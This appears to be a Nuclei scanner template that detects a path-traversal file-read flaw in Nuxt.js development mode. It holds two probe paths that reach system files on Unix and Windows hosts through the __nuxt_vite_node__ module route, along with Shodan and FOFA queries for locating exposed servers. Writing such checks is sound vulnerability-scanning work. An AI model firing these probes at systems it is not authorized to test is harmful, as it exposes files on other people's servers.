Description
Arbitrary File Read in Dev Mode in Nuxt.js
Arbitrary File Read in Dev Mode in Nuxt.js
id: nuxt-js-semi-lfi
info:
name: Semi Arbitrary File Read in Dev Mode - Nuxt.js
author: DhiyaneshDK
severity: medium
description: Arbitrary File Read in Dev Mode in Nuxt.js
reference:
- https://huntr.dev/bounties/7840cd32-af15-40cb-a148-7ef3dff4a0c2/
- https://bryces.io/blog/nuxt3
- https://twitter.com/fofabot/status/1669339995780558849
classification:
cpe: cpe:2.3:a:nuxt:framework:*:*:*:*:*:*:*:*
cwe-id: CWE-22,CWE-73
metadata:
verified: "true"
max-request: 2
vendor: nuxt
product: framework
shodan-query: html:"buildAssetsDir" "nuxt"
fofa-query: body="buildAssetsDir" && body="__nuxt"
tags: huntr,lfi,nuxtjs,vuln
http:
- method: GET
path:
- "{{BaseURL}}/__nuxt_vite_node__/module//bin/passwd"
- "{{BaseURL}}/__nuxt_vite_node__/module/C:/Windows/System32/calc.exe"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"plugin":'
- '"pluginCode":'
- '"id":'
condition: and
- type: word
part: header
words:
- "application/json"
# digest: 4a0a00473045022001c24d03a8b00f855eb84f36cc00b4302817e186f10f49a1b31665302c60e856022100ea4ba8cc579f09b5099093179044b185436312417a85304474e08815b1762474:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.